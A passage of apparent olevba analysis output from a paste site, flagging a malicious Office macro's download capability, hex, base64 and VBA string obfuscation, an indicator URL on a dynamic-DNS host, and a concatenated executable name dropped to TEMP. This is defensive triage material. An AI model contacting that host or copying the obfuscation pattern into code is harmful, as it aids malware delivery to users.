  822. | Suspicious | Write                | May write to a file (if combined with   |
  823. |            |                      | Open)                                   |
  824. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  825. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  826. |            |                      | be used to obfuscate strings (option    |
  827. |            |                      | --decode to see all)                    |
  828. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  829. |            |                      | may be used to obfuscate strings        |
  830. |            |                      | (option --decode to see all)            |
  831. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  832. |            | Strings              | may be used to obfuscate strings        |
  833. |            |                      | (option --decode to see all)            |
  834. | IOC        | http://ip1.dynupdate | URL                                     |
  835. |            | .no-ip.com:8245/     |                                         |
  836. | IOC        | HichAz2.exe          | Executable file name (obfuscation: VBA  |
  837. |            |                      | expression)                             |
  838. | VBA string | TEMP                 | ("T" & "EMP")                           |
  839. | VBA string | \HichAz2.exe         | "\" & "Hich" & "Az2" + "." + "e" + "xe" |
  840. +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement